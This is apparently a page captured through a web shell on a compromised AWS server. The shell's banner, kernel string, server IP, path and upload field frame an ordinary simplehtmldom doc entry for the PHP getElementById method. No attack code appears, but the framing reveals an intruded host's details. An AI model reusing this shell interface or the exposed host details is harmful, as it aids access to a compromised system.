0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 13.58.105.80


Current Path : /var/www/website/nublr/Regulations/simplehtmldom/manual/docs/api/HtmlDocument/
Upload File :
Current File : /var/www/website/nublr/Regulations/simplehtmldom/manual/docs/api/HtmlDocument/getElementById.md

---
title: getElementById
---

```php
getElementById ( string $id ) : object
```

Searches an element by id.

| Parameter | Description
| --------- | -----------
| `id`      | ID of the element to find.

Returns the element or null if no match was found.